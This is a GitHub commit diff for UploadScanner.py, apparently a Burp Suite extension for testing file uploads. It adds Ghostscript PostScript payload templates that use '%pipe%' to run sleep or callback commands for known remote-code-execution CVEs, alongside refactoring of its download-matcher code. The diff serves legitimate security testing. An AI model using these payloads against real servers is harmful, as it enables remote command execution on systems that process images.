Skip to content
This repository was archived by the owner on Apr 4, 2024. It is now read-only.

Commit 402ca8b

Browse files
author
floyd
committed
New ghostscript PoCs implemented found by Taviso, additionally global matchers are now applied even if no other module added matchers
1 parent 8813bd9 commit 402ca8b

File tree

1 file changed

+117
-43
lines changed

1 file changed

+117
-43
lines changed

UploadScanner.py

Lines changed: 117 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -313,7 +313,7 @@ def registerExtenderCallbacks(self, callbacks):
313313
('', '.gs', ''),
314314
('', '.eps', ''),
315315
('', BurpExtender.MARKER_ORIG_EXT, 'text/plain'),
316-
# ('', '.gif', 'image/gif'),
316+
('', '.jpeg', 'image/jpeg'),
317317
('', '.png', 'image/png'),
318318
}
319319

@@ -972,7 +972,13 @@ def do_checks(self, injector):
972972
burp_colab = None
973973
print "Warning: No Burp Collaborator will be used"
974974
colab_tests = []
975+
976+
# We need to make sure that the global download matchers are from now on active for the URL we scan
977+
url = FloydsHelpers.u2s(self._helpers.analyzeRequest(injector.get_brr()).getUrl().toString())
978+
self.dl_matchers.add_collection(url)
979+
975980
scan_was_stopped = False
981+
976982
try:
977983
# Sanity/debug check. Simply uploads a white picture called screenshot_white.png
978984
print "Doing sanity check and uploading a white png file called screenshot_white.png"
@@ -1353,28 +1359,78 @@ def _ghostscript(self, injector, burp_colab):
13531359
name = "Ghostscript RCE"
13541360
severity = "High"
13551361
confidence = "Certain"
1356-
techniques = (("OutputICCProfile", "CVE-2016-7976"), ("OutputFile", "CVE-2017-8291"))
13571362
base_detail = "A ghostscript file with RCE payload was uploaded. See " \
13581363
"http://www.openwall.com/lists/oss-security/2016/09/30/8 and http://cve.circl.lu/cve/CVE-2017-8291 " \
1359-
"for details. "
1364+
"and http://openwall.com/lists/oss-security/2018/08/21/2 for details. "
13601365
detail_sleep = "A delay was dectected twice when uploading a ghostscript file with a payload that " \
13611366
"executes a sleep like command. Therefore arbitrary command execution seems possible. " \
13621367
"The payload used the {} argument ({}) and the payload {}."
13631368
detail_colab = "A burp collaborator interaction was dectected when uploading a ghostscript file with a payload that " \
13641369
"executes commands with a burp collaborator URL. Therefore arbitrary command execution seems possible. " \
13651370
"The payload used the {} argument ({}) and the payload {}. Interactions: <br><br>"
13661371
basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Gs"
1367-
content = "%!PS\n" \
1368-
"currentdevice null true mark /{} (%pipe%{} {} )\n" \
1369-
".putdeviceparams\n" \
1370-
"quit"
1372+
1373+
content_original_cve = "%!PS\n" \
1374+
"currentdevice null true mark /{} (%pipe%{} {} )\n" \
1375+
".putdeviceparams\n" \
1376+
"quit"
1377+
1378+
content_2 = "%!PS\n" \
1379+
"*legal*\n" \
1380+
"*{{ null restore }} stopped {{ pop }} if*\n" \
1381+
"*legal*\n" \
1382+
"*mark /{} (%pipe%{} {}) currentdevice putdeviceprops*\n" \
1383+
"*showpage*"
1384+
1385+
content_ubuntu = "%!PS\n" \
1386+
"userdict /setpagedevice undef\n" \
1387+
"save\n" \
1388+
"legal\n" \
1389+
"{{ null restore }} stopped {{ pop }} if\n" \
1390+
"{{ legal }} stopped {{ pop }} if\n" \
1391+
"restore\n" \
1392+
"mark /{} (%pipe%{} {}) currentdevice putdeviceprops"
1393+
1394+
content_centos = "%!PS\n" \
1395+
"userdict /setpagedevice undef\n" \
1396+
"legal\n" \
1397+
"{{ null restore }} stopped {{ pop }} if\n" \
1398+
"legal\n" \
1399+
"mark /{} (%pipe%{} {}) currentdevice putdeviceprops"
1400+
1401+
techniques = (
1402+
("OutputFile", "CVE-2017-8291", content_original_cve),
1403+
("OutputICCProfile", "CVE-2016-7976", content_original_cve),
1404+
1405+
("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_2),
1406+
#("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_2),
1407+
1408+
# OutputFile worked on a Linux minti 4.8.0-53-generic #56~16.04.1-Ubuntu SMP Tue May 16 01:18:56 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
1409+
# With "identify" and "convert" from ImageMagick 6.8.9-9 Q16 x86_64 2017-03-14
1410+
# But OutputICCProfile didn't:
1411+
# ./base/gsicc_manage.c:1088: gsicc_open_search(): Could not find %pipe%sleep 6.0
1412+
# | ./base/gsicc_manage.c:1708: gsicc_set_device_profile(): cannot find device profile
1413+
# ./base/gsicc_manage.c:1088: gsicc_open_search(): Could not find %pipe%sleep 6.0
1414+
# | ./base/gsicc_manage.c:1708: gsicc_set_device_profile(): cannot find device profile
1415+
("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_ubuntu),
1416+
#("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_ubuntu),
1417+
1418+
("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_centos),
1419+
#("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_centos),
1420+
)
13711421

13721422
# Sleep based
1373-
for param, cve in techniques:
1374-
for cmd_name, cmd, factor, args in self._get_sleep_commands(injector):
1375-
details = base_detail + detail_sleep.format(param, cve, cmd)
1376-
issue = self._create_issue_template(injector.get_brr(), name + " " + cve, details, confidence, severity)
1377-
sleep_content = content.format(param, cmd, str(injector.opts.sleep_time * factor) + args)
1423+
for cmd_name, cmd, factor, args in self._get_sleep_commands(injector):
1424+
for param, reference, content in techniques:
1425+
details = base_detail + detail_sleep.format(param, reference, cmd)
1426+
issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity)
1427+
sleep_content = content.format(
1428+
#injector.opts.image_width,
1429+
#injector.opts.image_height,
1430+
param,
1431+
cmd,
1432+
str(injector.opts.sleep_time * factor) + args
1433+
)
13781434
self._send_sleep_based(injector, basename + cmd_name, sleep_content, self.GS_TYPES, injector.opts.sleep_time, issue)
13791435

13801436
# Burp community edition doesn't have Burp collaborator
@@ -1383,11 +1439,17 @@ def _ghostscript(self, injector, burp_colab):
13831439
colab_tests = []
13841440

13851441
# Colab based
1386-
for param, cve in techniques:
1387-
for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
1388-
details = base_detail + detail_colab.format(param, cve, cmd)
1389-
issue = self._create_issue_template(injector.get_brr(), name + " " + cve, details, confidence, severity)
1390-
attack = content.format(param, cmd, server)
1442+
for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
1443+
for param, reference, content in techniques:
1444+
details = base_detail + detail_colab.format(param, reference, cmd)
1445+
issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity)
1446+
attack = content.format(
1447+
#injector.opts.image_width,
1448+
#injector.opts.image_height,
1449+
param,
1450+
cmd,
1451+
server
1452+
)
13911453
colab_tests.extend(self._send_collaborator(injector, burp_colab, self.GS_TYPES, basename + param + cmd_name,
13921454
attack, issue, replace=replace, redownload=True))
13931455

@@ -4756,7 +4818,10 @@ def getInsertionPoints(self, base_request_response):
47564818
print "FlexiInjector insertion point found for getInsertionPoint ActiveScan!"
47574819
injector = fi
47584820
if injector:
4759-
# First handle the zip files
4821+
# First the feature that we can detect CSVs
4822+
insertion_points.extend(self._get_csv_insertion_points(injector))
4823+
4824+
# Then handle the zip files
47604825
bf = BackdooredFile(None, tool=self._global_opts.image_exiftool)
47614826
upload_type = ('', ".zip", BackdooredFile.EXTENSION_TO_MIME[".zip"])
47624827
# Achieve bf.get_zip_files(payload_func, techniques=["name"])
@@ -4784,9 +4849,6 @@ def getInsertionPoints(self, base_request_response):
47844849
kwargs = {"techniques": [(name, cmd_line_args, [format, ]), ]}
47854850
function = bf.get_exiftool_images
47864851
insertion_points.append(InsertionPointForActiveScan(injector, upload_type, function, args, kwargs))
4787-
4788-
# Now the feature that we can detect CSVs
4789-
insertion_points.extend(self._get_csv_insertion_points(injector))
47904852
except:
47914853
self.burp_extender.show_error_popup(traceback.format_exc())
47924854
raise sys.exc_info()[1], None, sys.exc_info()[2]
@@ -6723,15 +6785,20 @@ def __init__(self, helpers):
67236785
self._thread_lock = threading.Lock()
67246786

67256787
def add(self, dl_matcher):
6788+
brr = dl_matcher.issue.get_base_request_response()
6789+
iRequestInfo = self._helpers.analyzeRequest(brr)
6790+
url = FloydsHelpers.u2s(iRequestInfo.getUrl().toString())
6791+
host = self.add_collection(url)
6792+
with self._thread_lock:
6793+
self._collection[host].add(dl_matcher)
6794+
6795+
def add_collection(self, url):
6796+
host = self._get_host(url)
67266797
with self._thread_lock:
6727-
brr = dl_matcher.issue.get_base_request_response()
6728-
iRequestInfo = self._helpers.analyzeRequest(brr)
6729-
url = FloydsHelpers.u2s(iRequestInfo.getUrl().toString())
6730-
host = self._get_host(url)
67316798
if host not in self._collection:
6732-
print "The DownloadMatcherCollection has now passive checks for", host
6799+
print "The DownloadMatcherCollection has now passive checks (at least the global matchers) for", host
67336800
self._collection[host] = set()
6734-
self._collection[host].add(dl_matcher)
6801+
return host
67356802

67366803
def _create_globals(self):
67376804
title = "GraphicsMagick version leakage"
@@ -6780,9 +6847,9 @@ def with_global(self, matchers):
67806847
return g
67816848

67826849
def add_scope(self, brr_url, url):
6850+
brr_host = self._get_host(brr_url)
6851+
host = self._get_host(url)
67836852
with self._thread_lock:
6784-
brr_host = self._get_host(brr_url)
6785-
host = self._get_host(url)
67866853
if host in self._collection:
67876854
return
67886855
if brr_host not in self._scope_mapping:
@@ -6792,32 +6859,38 @@ def add_scope(self, brr_url, url):
67926859
self._scope_mapping[brr_host].add(host)
67936860

67946861
def get_matchers_for_url(self, url):
6862+
hostport = self._get_host(url)
6863+
if not hostport:
6864+
print "Couldn't extract hostport from the url", url
6865+
return []
67956866
with self._thread_lock:
6796-
hostport = self._get_host(url)
6797-
if not hostport:
6798-
return []
67996867
if hostport in self._collection:
6868+
# print "Found DownloadMatchers", hostport, "that correspond to", url
68006869
return self.with_global(self._collection[hostport])
68016870

6802-
for name in self._scope_mapping:
6803-
if hostport in self._scope_mapping[name]:
6804-
if name in self._collection:
6805-
return self.with_global(self._collection[name])
6871+
name = self.get_scope(hostport)
6872+
if name:
6873+
# print "Found DownloadMatchers for", name, "that can be used for", url
6874+
return self.with_global(self._collection[name])
68066875
return []
68076876

6877+
def get_scope(self, hostport):
6878+
for name in self._scope_mapping:
6879+
if hostport in self._scope_mapping[name]:
6880+
if name in self._collection:
6881+
return name
6882+
68086883
def remove(self, url, matcher):
68096884
with self._thread_lock:
68106885
hostport = self._get_host(url)
68116886
if hostport in self._collection:
68126887
if matcher in self._collection[hostport]:
68136888
self._collection[hostport].remove(matcher)
6814-
else:
6815-
# Actually no reason to warn. If multithreaded matchers are triggered, then removing could take
6816-
# once but the second match for the same matcher is already waiting for the thread lock to remove it
6817-
# print "Warning: Couldn't remove DownloadMatcher as matcher not in {}'s collection".format(hostport)
6818-
pass
68196889
else:
6820-
print "Warning: Couldn't remove DownloadMatcher as host:port {} not in {}".format(hostport, self._collection.keys())
6890+
name = self.get_scope(hostport)
6891+
if name and name in self._collection:
6892+
if matcher in self._collection[name]:
6893+
self._collection[name].remove(matcher)
68216894

68226895
def _get_host(self, url):
68236896
if not url:
@@ -6850,6 +6923,7 @@ def deserialize(self, serialized_object):
68506923
no_of_matchers = 0
68516924
serialized_collection, self._scope_mapping = serialized_object
68526925
for host in serialized_collection:
6926+
print "Deserializing DownloadMatchers for", host
68536927
self._collection[host] = set()
68546928
for matcher in serialized_collection[host]:
68556929
# print "Deserialization", host, type(matcher), repr(matcher)
@@ -7917,7 +7991,7 @@ def __init__(self, burp_extender, callbacks, helpers, scan_controler=None, globa
79177991
if bi.exiftool_present():
79187992
self.image_exiftool = path
79197993
self.show_exiftool_field = False
7920-
print "Found working exiftool by invoking '" + path+"' on the command line"
7994+
print "Found working exiftool by invoking '" + path + "' on the command line"
79217995
break
79227996
else:
79237997
print "Searched for exiftool but did not find a proper executable..."

0 commit comments

Comments
 (0)